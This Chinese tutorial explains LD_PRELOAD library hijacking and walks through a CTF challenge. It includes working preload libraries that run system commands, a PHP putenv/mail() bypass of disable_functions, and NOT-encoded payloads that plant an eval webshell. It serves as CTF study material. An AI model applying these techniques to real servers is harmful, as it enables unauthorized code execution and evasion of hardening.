浅谈LD_PRELOAD劫持
相关的文章链接:https://www.cnblogs.com/sandeepin/p/ld-preload-inject.html
首先介绍一下什么是LD_PRELOAD
LD_PRELOAD是一个环境变量,它允许你指定在程序启动之前需要预先加载(preload)的共享库(shared libraries)。当程序启动时,动态链接器(dynamic linker/loader)会首先加载这些通过LD_PRELOAD
指定的库,然后才加载程序的其他依赖库。这可以用于拦截或修改程序的函数调用,实现诸如调试、性能分析、功能增强或替换原有库中的函数等目的。
这里就导致,如果我们在预先加载的库中写入危险命令就可以触发,一般的库都是以 .so 结尾,并且为c语言写的,需要将一个.c文件进行编译后生成一个共享库在将其设置为LD_PRELOAD默认的即可
这里有一个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 //首先创建一个 1234.c 是一个c语言生成随机数
int main() {
srand(time(NULL));
int i = 10;
while(i--)
printf("%d\n", rand()%100);
return 0;
}
//再创建一个 1111.c 让它返回固定的值
int rand() {
return 42;
}
在kali中来进行编译执行:
1 gcc ./1234.c -o 1234 //将1234.c编译为一个可执行文件1234
可以看到编译成功了,现在就可以执行,应该不出所料为10个随机数,下面就可以开始实验
1 gcc -shared -fPIC 1111.c -o 1111.so //将1111.c编译为一个共享库
现在就是去修改LD_PRELOAD默认的数据
1
2
3 LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so,但下一次就不会了
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量,对所有都有约束
unset LD_PRELOAD //这个就可以恢复最初的
这样就变为我们控制的值,相当于它加载的rand函数被调包了,调用成我们生成的1111.so中的rand函数,这样就可以实现控制
这里可以提供一个命令看看其执行时用于打印程序或者库文件所依赖的共享库列表
1 ldd 1234
这里还有很多的例子,比如我们知道一个命令它会调用什么库,我们可以先进行拦截,最后在进行额外的操作这里也有一个实验,但是做法都一样,通过重写其中的一个函数来实现危险的方法调用
首先先确定其调用的函数,这里是通过ls命令为例子,其它的命令也是一样,在ls命令中就存在一个比较特殊的函数strncmp
1
2 readelf -Ws /usr/bin/ls //这样可以查找ls在调用时会调用哪些API
readelf -Ws /usr/bin/ls|grep strncmp //查看是否ls命令调用该函数
这里获取其strncmp的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int strncmp(const char *s1, const char *s2, size_t n)
{
while(n && *s1 && *s2)
{
if(*s1 != *s2)
return (unsigned char)*s1 - (unsigned char)*s2;
s1++;
s2++;
n--;
}
if(!n)
return 0;
if(*s1)
return 1;
if(*s1 == *s2 )
return 0;
return -1;
}
函数的原型,这里如果要进行重写就要确保函数的参数相同不然就可能报错,从而实验不成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void payload() {
printf("hello i am haker!!!\n");
}
int strncmp(const char *s1, const char *s2, size_t n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4 getenv //用于从环境变量中取字符串,即获取环境变量的值
putenv //用于改变或增加环境变量的内容。在C语言中,putenv函数接受一个格式为name=value的字符串,如果该环境变量已存在,则更新其值;如果不存在,则添加该环境变量。
setenv //是putenv的一个更安全的替代品,因为它允许指定是否覆盖已存在的环境变量,并且不会修改传入的字符串。
unsetenv //用于删除指定的环境变量。
这里就可以在执行ls命令时输出hello i am haker!!!,当然在这里我们也可以来执行危险函数,只需修改payload里面的内容即可
这里还有一个用途,通过attribute来进行LD_PRELOAD劫持
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它
1
2
3
4
5
6
7
8
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n"); //这里可以进行修改
}
可以看到所有的命令执行都触发了危险的函数
最后就是通过LD_PRELOAD劫持来绕过Disable_Functions
在有些时候就会出现,我们没有办法读取通过命令来执行读取flag的操作就可以试试LD_PRELOAD劫持来实现命令读取,具体也是一样,一般步骤都是一样的,但是需要执行 这个修改LD_PRELOAD的语句有点难,一般就是通过php文件包含来实现,通过php代码来实现这个操作
export LD_PRELOAD=$PWD/1111.so 再配合你所写的.so文件即可
php文件里面我还是推荐统一的写法,通过执行php文件里面的内容就可以修改环境,但是要先有这个文件,还有需要注意的一点就是该文件是由权限访问的,所以就需要我们将它放置在tmp目录下最好
1
2
3
4
5 <?php
putenv("LD_PRELOAD=/var/tmp/1222.so");
mail("","","","");
error_log("",1,"","");
?>
.so文件的内容,就可以自己选择,通过上面的方法,但是还是推荐最后一个,因为它可以在任意命令执行前进行执行
1
2
3
4
5
6
7
8
9
10
11 #include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / >> /var/tmp/test.php");
}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}
这里就有一个配套的练习
[极客大挑战 2019]RCE ME
直接给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
很正常的无字母,这里先去构造一个phpinfo()看看有没有什么信息
1
2
3
4
5
6
7 <?php
error_reporting(0);
$a='phpinfo';
$b=urlencode(~$a);
echo "?code=(~".$b.")();";
?>
//?code=(~%8F%97%8F%96%91%99%90)();
这里它过滤了很多的函数,直接进行命令就不太可能,需要进行绕过Disable_Functions,可以先通过木马连接蚁剑方便后序的操作
1
2
3
4
5
6
7
8
9 <?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo "?code=(~".$b.")(~".$d.");";
//?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
?>
连接成功,这里有两个flag,第一个打开什么都没有,第二个是readflag一个可执行文件,但是无法正常执行,这里需要绕过disable_functions才可以正常的获得flag
可以通过蚁剑的插件来进行绕过,这里就不多讲了
现在通过LD_PRELOAD劫持来实现,需要先创建两个文件
一个php文件
1
2
3
4
5
putenv("LD_PRELOAD=/var/tmp/1222.so");//这里改为对应文件即可
mail("","","","");
error_log("",1,"","");
一个c语言文件
1
2
3
4
5
6
7
8
9
10
11
12
13
void payload() {
system("cat /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");
}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}
再通过kali将.c文件编译为.so文件进行上传即可
最后通过一句话木马来进行文件包含即可
1
2 ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
1=include("/var/tmp/shell1.php");
最后就可以看到该目录多一个test.php,再打开就可以的flag